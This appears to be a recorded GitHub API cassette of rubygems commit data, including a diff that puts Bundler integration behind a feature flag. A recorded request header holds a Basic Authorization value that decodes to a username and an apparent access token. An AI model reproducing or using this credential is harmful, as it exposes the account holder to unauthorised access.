X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.054126' X-Github-Request-Id: - C5DC:4D96:971C24:13A451E:5A50E47D body: encoding: ASCII-8BIT string: '{"sha":"7db5e1fa2e070c2872e1187488637ec5f64c2e39","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-29T13:47:09Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-29T16:30:38Z"},"message":"Temporarily disable Bundler integration","tree":{"sha":"92d89773c1bca03b56e82433136cc81b99866597","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/92d89773c1bca03b56e82433136cc81b99866597"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7db5e1fa2e070c2872e1187488637ec5f64c2e39","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZpZauAAoJEAEZW7MV3ahWtY4P/AteJeukNJL5GxzeRmYv+zWo\nBHhwtpUZI8rTS1LIMJdwaTir2IEFAzB8WY/1KQtU2OYDXybNONwlpyhKnPMqCeg+\npYEWe/ftHMBkPw5/XutR0V8A1Fp9j+oIPMiIyTj7vb3KHv02L7DSxw1vABwFe05h\nPcUOTkLWtLkPpreTgkPdfq6ILW3fLPw6qsoX4BFJZGfOS9ZvLYFmCQpHuZvsTtvM\nNC8RZ7PhI8PPNjyWXPEQX5DSncZs7SL0R0u4mjjkKlqF3gZr5W64VfrFAXXNULJA\n2vjhNzuDnShq/hriGZZtBbOKWgd2gIZBPtHC+sHFiS1K5Wkmaqktb/VTQQFEvhvZ\nO8XoMpjFqdommdmKBTefjjcMSHu+WsbeLAB1lB/ODlc7MV8ApsrsGKatlw/QbbY5\nIC3R5+ASqCa7GtswLBseJNJzDU2BW8rP1BTpFGoYsodLMR3yoWxN7n8qavjkXf/K\nTQ4WyrlsKFZzcfj+oy1SyLEZ5qWMd8W8dJas6oxlLq+e4YzIvnzSHn1jWFEg53ph\nm+FgE1xxpA8lc37NPEFeBi6UncsBDkUequ79/dVa46hxqWxkCcwBqW6j9z8u+U4V\nMSyE/h0MaShwrAKxHNg886hJFevg4etK0nYv31YdloHj4kVGQHoKKlyMiXNfFGeB\na+TW3fN7FDByhjR6Dsvz\n=6RVS\n-----END PGP SIGNATURE-----","payload":"tree 92d89773c1bca03b56e82433136cc81b99866597\nparent 1a826a7684bba4f108db25e8f17d571a22816fd7\nauthor Samuel Giddins 1504014429 -0500\ncommitter Samuel Giddins 1504024238 -0500\n\nTemporarily disable Bundler integration\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7db5e1fa2e070c2872e1187488637ec5f64c2e39","html_url":"https://github.com/rubygems/rubygems/commit/7db5e1fa2e070c2872e1187488637ec5f64c2e39","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7db5e1fa2e070c2872e1187488637ec5f64c2e39/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"1a826a7684bba4f108db25e8f17d571a22816fd7","url":"https://api.github.com/repos/rubygems/rubygems/commits/1a826a7684bba4f108db25e8f17d571a22816fd7","html_url":"https://github.com/rubygems/rubygems/commit/1a826a7684bba4f108db25e8f17d571a22816fd7"}],"stats":{"total":122,"additions":76,"deletions":46},"files":[{"sha":"71fc3742ba4725a418c57b0683c5d8d4857705c8","filename":"lib/rubygems.rb","status":"modified","additions":22,"deletions":7,"changes":29,"blob_url":"https://github.com/rubygems/rubygems/blob/7db5e1fa2e070c2872e1187488637ec5f64c2e39/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7db5e1fa2e070c2872e1187488637ec5f64c2e39/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=7db5e1fa2e070c2872e1187488637ec5f64c2e39","patch":"@@ -178,6 +178,8 @@ module Gem\n write_binary_errors\n end.freeze\n \n+ USE_BUNDLER_FOR_GEMDEPS = false # :nodoc:\n+\n @@win_platform = nil\n \n @configuration = nil\n@@ -1190,13 +1192,26 @@ def self.use_gemdeps path = nil\n raise ArgumentError, \"Unable to find gem dependencies file at #{path}\"\n end\n \n- ENV[\"BUNDLE_GEMFILE\"] ||= File.expand_path(path)\n- require ''rubygems/user_interaction''\n- Gem::DefaultUserInteraction.use_ui(ui) do\n- require \"bundler\"\n- @gemdeps = Bundler.setup\n- Bundler.ui = nil\n- @gemdeps.requested_specs.map(&:to_spec).sort_by(&:name)\n+ if USE_BUNDLER_FOR_GEMDEPS\n+\n+ ENV[\"BUNDLE_GEMFILE\"] ||= File.expand_path(path)\n+ require ''rubygems/user_interaction''\n+ Gem::DefaultUserInteraction.use_ui(ui) do\n+ require \"bundler\"\n+ @gemdeps = Bundler.setup\n+ Bundler.ui = nil\n+ @gemdeps.requested_specs.map(&:to_spec).sort_by(&:name)\n+ end\n+\n+ else\n+\n+ rs = Gem::RequestSet.new\n+ @gemdeps = rs.load_gemdeps path\n+\n+ rs.resolve_current.map do |s|\n+ s.full_spec.tap(&:activate)\n+ end\n+\n end\n rescue => e\n case e"},{"sha":"f322ca9df55c4bf6a45caecaead41aa9089646c9","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":25,"deletions":28,"changes":53,"blob_url":"https://github.com/rubygems/rubygems/blob/7db5e1fa2e070c2872e1187488637ec5f64c2e39/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7db5e1fa2e070c2872e1187488637ec5f64c2e39/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=7db5e1fa2e070c2872e1187488637ec5f64c2e39","patch":"@@ -220,10 +220,9 @@ def execute\n def install_executables(bin_dir)\n @bin_file_names = []\n \n- {\n- ''gem'' => ''bin'',\n- ''bundler'' => ''bundler/exe'',\n- }.each do |tool, path|\n+ executables = { ''gem'' => ''bin'' }\n+ executables[''bundler''] = ''bundler/exe'' if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ executables.each do |tool, path|\n say \"Installing #{tool} executable\" if @verbose\n \n Dir.chdir path do\n@@ -289,10 +288,9 @@ def install_file file, dest_dir\n end\n \n def install_lib(lib_dir)\n- {\n- ''RubyGems'' => ''lib'',\n- ''Bundler'' => ''bundler/lib''\n- }.each do |tool, path|\n+ libs = { ''RubyGems'' => ''lib'' }\n+ libs[''Bundler''] = ''bundler/lib'' if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ libs.each do |tool, path|\n say \"Installing #{tool}\" if @verbose\n \n lib_files = rb_files_in path\n@@ -352,26 +350,26 @@ def fake_spec.full_gem_path\n end\n \n def install_default_bundler_gem\n- Dir.chdir(\"bundler\") do\n- bundler_spec = Gem::Specification.load(\"bundler.gemspec\")\n- bundler_spec.files = Dir[\"{*.md,{lib,exe,man}/**/*}\"]\n- bundler_spec.executables -= %w[bundler bundle_ruby]\n- Dir.entries(Gem::Specification.default_specifications_dir).\n- select {|gs| gs.start_with?(\"bundler-\") }.\n- each {|gs| File.delete(File.join(Gem::Specification.default_specifications_dir, gs)) }\n+ return unless Gem::USE_BUNDLER_FOR_GEMDEPS\n \n- default_spec_path = File.join(Gem::Specification.default_specifications_dir, \"#{bundler_spec.full_name}.gemspec\")\n- Gem.write_binary(default_spec_path, bundler_spec.to_ruby)\n+ bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n+ bundler_spec.files = Dir[\"bundler/{*.md,{lib,exe,man}/**/*}\"]\n+ bundler_spec.executables -= %w[bundler bundle_ruby]\n+ Dir.entries(Gem::Specification.default_specifications_dir).\n+ select {|gs| gs.start_with?(\"bundler-\") }.\n+ each {|gs| File.delete(File.join(Gem::Specification.default_specifications_dir, gs)) }\n \n- bundler_spec = Gem::Specification.load(default_spec_path)\n+ default_spec_path = File.join(Gem::Specification.default_specifications_dir, \"#{bundler_spec.full_name}.gemspec\")\n+ Gem.write_binary(default_spec_path, bundler_spec.to_ruby)\n \n- Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| default_gem.start_with?(\"bundler-\") }.\n- each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n+ bundler_spec = Gem::Specification.load(default_spec_path)\n \n- mkdir_p bundler_spec.bin_dir\n- bundler_spec.executables.each {|e| cp File.join(bundler_spec.bindir, e), File.join(bundler_spec.bin_dir, e) }\n- end\n+ Dir.entries(bundler_spec.gems_dir).\n+ select {|default_gem| default_gem.start_with?(\"bundler-\") }.\n+ each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n+\n+ mkdir_p bundler_spec.bin_dir\n+ bundler_spec.executables.each {|e| cp File.join(\"bundler\", bundler_spec.bindir, e), File.join(bundler_spec.bin_dir, e) }\n end\n \n def make_destination_dirs(install_destdir)\n@@ -464,10 +462,9 @@ def remove_old_bin_files(bin_dir)\n end\n \n def remove_old_lib_files lib_dir\n- {\n- File.join(lib_dir, ''rubygems'') => ''lib/rubygems'',\n- File.join(lib_dir, ''bundler'') => ''bundler/lib/bundler'',\n- }.each do |old_lib_dir, new_lib_dir|\n+ lib_dirs = { File.join(lib_dir, ''rubygems'') => ''lib/rubygems'' }\n+ lib_dirs[File.join(lib_dir, ''bundler'')] = ''bundler/lib/bundler'' if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ lib_dirs.each do |old_lib_dir, new_lib_dir|\n lib_files = rb_files_in(new_lib_dir)\n \n old_lib_files = rb_files_in(old_lib_dir)"},{"sha":"38c990712ae7d07d759dc29cf81bffcd1e12e898","filename":"test/rubygems/test_gem.rb","status":"modified","additions":24,"deletions":8,"changes":32,"blob_url":"https://github.com/rubygems/rubygems/blob/7db5e1fa2e070c2872e1187488637ec5f64c2e39/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7db5e1fa2e070c2872e1187488637ec5f64c2e39/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=7db5e1fa2e070c2872e1187488637ec5f64c2e39","patch":"@@ -399,7 +399,7 @@ def test_self_detect_gemdeps\n begin\n Dir.chdir ''detect/a/b''\n \n- assert_equal [BUNDLER_FULL_NAME], Gem.detect_gemdeps.map(&:full_name)\n+ assert_equal add_bundler_full_name([]), Gem.detect_gemdeps.map(&:full_name)\n ensure\n Dir.chdir @tempdir\n end\n@@ -1452,7 +1452,7 @@ def test_auto_activation_of_specific_gemdeps_file\n \n Gem.detect_gemdeps\n \n- assert_equal %W(a-1 b-1 #{BUNDLER_FULL_NAME} c-1), loaded_spec_names\n+ assert_equal add_bundler_full_name(%W(a-1 b-1 c-1)), loaded_spec_names\n end\n \n def test_auto_activation_of_detected_gemdeps_file\n@@ -1475,13 +1475,21 @@ def test_auto_activation_of_detected_gemdeps_file\n \n ENV[''RUBYGEMS_GEMDEPS''] = \"-\"\n \n- assert_equal [a, b, util_spec(\"bundler\", Bundler::VERSION), c], Gem.detect_gemdeps.sort_by { |s| s.name }\n+ expected_specs = [a, b, (Gem::USE_BUNDLER_FOR_GEMDEPS || nil) && util_spec(\"bundler\", Bundler::VERSION), c].compact\n+ assert_equal expected_specs, Gem.detect_gemdeps.sort_by { |s| s.name }\n end\n \n LIB_PATH = File.expand_path \"../../../lib\".dup.untaint, __FILE__.dup.untaint\n BUNDLER_LIB_PATH = File.expand_path $LOAD_PATH.find {|lp| File.file?(File.join(lp, \"bundler.rb\")) }.dup.untaint\n BUNDLER_FULL_NAME = \"bundler-#{Bundler::VERSION}\"\n \n+ def add_bundler_full_name(names)\n+ return names unless Gem::USE_BUNDLER_FOR_GEMDEPS\n+ names << BUNDLER_FULL_NAME\n+ names.sort!\n+ names\n+ end\n+\n def test_looks_for_gemdeps_files_automatically_on_start\n util_clear_gems\n \n@@ -1639,7 +1647,7 @@ def test_use_gemdeps\n \n Gem.use_gemdeps gem_deps_file\n \n- assert_equal %W(a-1 #{BUNDLER_FULL_NAME}), loaded_spec_names\n+ assert_equal add_bundler_full_name(%W(a-1)), loaded_spec_names\n refute_nil Gem.gemdeps\n end\n \n@@ -1700,7 +1708,7 @@ def test_use_gemdeps_automatic\n \n Gem.use_gemdeps\n \n- assert_equal %W(a-1 #{BUNDLER_FULL_NAME}), loaded_spec_names\n+ assert_equal add_bundler_full_name(%W(a-1)), loaded_spec_names\n ensure\n ENV[''RUBYGEMS_GEMDEPS''] = rubygems_gemdeps\n end\n@@ -1748,11 +1756,19 @@ def test_use_gemdeps_missing_gem\n else\n platform = \" #{platform}\"\n end\n- expected = <<-EXPECTED\n+ expected = if Gem::USE_BUNDLER_FOR_GEMDEPS \n+ <<-EXPECTED\n Could not find gem ''a#{platform}'' in any of the gem sources listed in your Gemfile.\n You may need to `gem install -g` to install missing gems\n \n- EXPECTED\n+ EXPECTED\n+ else\n+ <<-EXPECTED\n+Unable to resolve dependency: user requested ''a (>= 0)''\n+You may need to `gem install -g` to install missing gems\n+\n+ EXPECTED\n+ end\n \n assert_output nil, expected do\n Gem.use_gemdeps\n@@ -1777,7 +1793,7 @@ def test_use_gemdeps_specific\n \n Gem.use_gemdeps\n \n- assert_equal %W(a-1 #{BUNDLER_FULL_NAME}), loaded_spec_names\n+ assert_equal add_bundler_full_name(%W(a-1)), loaded_spec_names\n ensure\n ENV[''RUBYGEMS_GEMDEPS''] = rubygems_gemdeps\n end"},{"sha":"22c831fa5e14f75469e126ed7de13c83f1f5eec8","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":5,"deletions":3,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/7db5e1fa2e070c2872e1187488637ec5f64c2e39/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7db5e1fa2e070c2872e1187488637ec5f64c2e39/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=7db5e1fa2e070c2872e1187488637ec5f64c2e39","patch":"@@ -48,8 +48,10 @@ def test_install_lib\n assert_path_exists File.join(dir, ''rubygems.rb'')\n assert_path_exists File.join(dir, ''rubygems/ssl_certs/rubygems.org/foo.pem'')\n \n- assert_path_exists File.join(dir, ''bundler.rb'')\n- assert_path_exists File.join(dir, ''bundler/b.rb'')\n+ if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ assert_path_exists File.join(dir, ''bundler.rb'')\n+ assert_path_exists File.join(dir, ''bundler/b.rb'')\n+ end\n end\n end\n \n@@ -84,7 +86,7 @@ def test_remove_old_lib_files\n \n refute_path_exists old_builder_rb\n refute_path_exists old_format_rb\n- refute_path_exists old_bundler_c_rb\n+ refute_path_exists old_bundler_c_rb if Gem::USE_BUNDLER_FOR_GEMDEPS\n \n assert_path_exists securerandom_rb\n assert_path_exists engine_defaults_rb"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:13 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/1a826a7684bba4f108db25e8f17d571a22816fd7 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:13 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4401' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"915f215faef1f6197ffc31b493a1d1d9" Last-Modified: - Tue, 29 Aug 2017 16:30:38 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.047639' X-Github-Request-Id: - C5DE:4D96:971C2F:13A453E:5A50E47D body: encoding: ASCII-8BIT string: !binary |- eyJzaGEiOiIxYTgyNmE3Njg0YmJhNGYxMDhkYjI1ZThmMTdkNTcxYTIyODE2ZmQ3IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0yOVQxMzo0MjowOVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTI5VDE2OjMwOjM4WiJ9LCJtZXNzYWdlIjoiU3BlZWQgdXAgYGdlbSBwcmlzdGluZSDigJRhbGwg4oCUb25seS1leGVjdXRhYmxlc2AgYnkgYW4gb3JkZXIgb2YgbWFnbml0dWRlXG5cblNpbmNlIHdlIG9ubHkgbmVlZCB0aGUgc3BlYyB0byBnZW5lcmF0ZSBiaW5zdHVicywgd2UgY2FuIHNhZmVseSB1c2UgYSBmYWtlIHBhY2thZ2UgdGhhdCBkb2VzbuKAmXQgcmVhZCB0aGUgY2FjaGVkIC5nZW0iLCJ0cmVlIjp7InNoYSI6IjAzY2E0MGFhZjM4OWY1MGIwZmE1MWZmOWI4NWU5MWZiODA0ZWJiN2IiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy8wM2NhNDBhYWYzODlmNTBiMGZhNTFmZjliODVlOTFmYjgwNGViYjdiIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvMWE4MjZhNzY4NGJiYTRmMTA4ZGIyNWU4ZjE3ZDU3MWEyMjgxNmZkNyIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWnBaYXVBQW9KRUFFWlc3TVYzYWhXM0VjUUFJRHBxdDJuRUdnQnhFUFg2bE9XeTY2TFxuTGRLeDI3TTZDRkhqSWw0blpLaWRhVUZ3am5NMUxjT3Nyb01mYnF1Tm1TNUlZTE1MTHJ0eDRWUWJQaEZSL204blxuUEloVjZIMk14a1JmVnJkNWxQQmJpczhCSVNtUGJrTnZOVmxLVjBycGhpTWtaQkJKNVFXM3k1V2w2RFVnOFFkblxuU0xhb1o2RFNkZVNnaUpsZmZHOWlDMjFGdno5cGpQelNGNk43ZHcyTjZ4N2wxNDE3Sis2eEtNSGxXY3FzMUxUS1xuVXppbVliRlVLNzJIQzFCRHcwR2l3dFgwRFpEL1hxd3AxTmdWd2w3Z3JISFY2bTRmTkxYeENHYWE2WlgvMzhYOVxudEs5aVAwUWFGclF4dy94NWt0TXNZWFV3cGFYK1dHbVV1R3JhT3F4dDVUdDk2N0ZBRktwSWovTFJXQlFLKzFzSFxubE12a1hlVnJsZWNDOXc5VmliS0dNMEhIa2g3TnQyN2NLb1pEYTk2TkFMcnpDdDNCV0k0c2hRMStJMmNQWmZlbVxudGpyYkFQWmdsNTZwQytWSnFWdElXQk5kRGd3RmZLYXcwenNjbWNtSTVpSzJITnpCdXJiK0RmYkJpVlZ6S0FOK1xuTTc3OTc3eFp6dm5RWW1NaUNWZ1dSbkYvc3crVGQxZ0lXM2xmdXJzaEEydmJXcEVQYlQvRi81YjR4cjg3VmRGVFxuc25ZaGNqZlFnZmRXMXRWQWZDQlFKVjhxZk8yaXJKejBPVWRyVDVsbzhDalEybGhMQmtOakpqd1Y5Y280MngwdVxuUEdlTFRFVmE3bzRzRWRFNDFQU2dRdlMwQjkvTk9tZjBTMFVRbW9ZSDJZS1UvQmRIRFJYa1I1YytWaUhOSUpxK1xuQ2xUeDZqTkZRWm5Xd2FTcm1vZFdcbj00TXlsXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSAwM2NhNDBhYWYzODlmNTBiMGZhNTFmZjliODVlOTFmYjgwNGViYjdiXG5wYXJlbnQgZTQ1NjBlMTUwMzBhZjQ5MjFhMGNkZDdiNmI1YTUzMTMwN2Q2ODFmM1xuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTA0MDE0MTI5IC0wNTAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDQwMjQyMzggLTA1MDBcblxuU3BlZWQgdXAgYGdlbSBwcmlzdGluZSDigJRhbGwg4oCUb25seS1leGVjdXRhYmxlc2AgYnkgYW4gb3JkZXIgb2YgbWFnbml0dWRlXG5cblNpbmNlIHdlIG9ubHkgbmVlZCB0aGUgc3BlYyB0byBnZW5lcmF0ZSBiaW5zdHVicywgd2UgY2FuIHNhZmVseSB1c2UgYSBmYWtlIHBhY2thZ2UgdGhhdCBkb2VzbuKAmXQgcmVhZCB0aGUgY2FjaGVkIC5nZW1cbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzFhODI2YTc2ODRiYmE0ZjEwOGRiMjVlOGYxN2Q1NzFhMjI4MTZmZDciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMWE4MjZhNzY4NGJiYTRmMTA4ZGIyNWU4ZjE3ZDU3MWEyMjgxNmZkNyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8xYTgyNmE3Njg0YmJhNGYxMDhkYjI1ZThmMTdkNTcxYTIyODE2ZmQ3L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJlNDU2MGUxNTAzMGFmNDkyMWEwY2RkN2I2YjVhNTMxMzA3ZDY4MWYzIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2U0NTYwZTE1MDMwYWY0OTIxYTBjZGQ3YjZiNWE1MzEzMDdkNjgxZjMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZTQ1NjBlMTUwMzBhZjQ5MjFhMGNkZDdiNmI1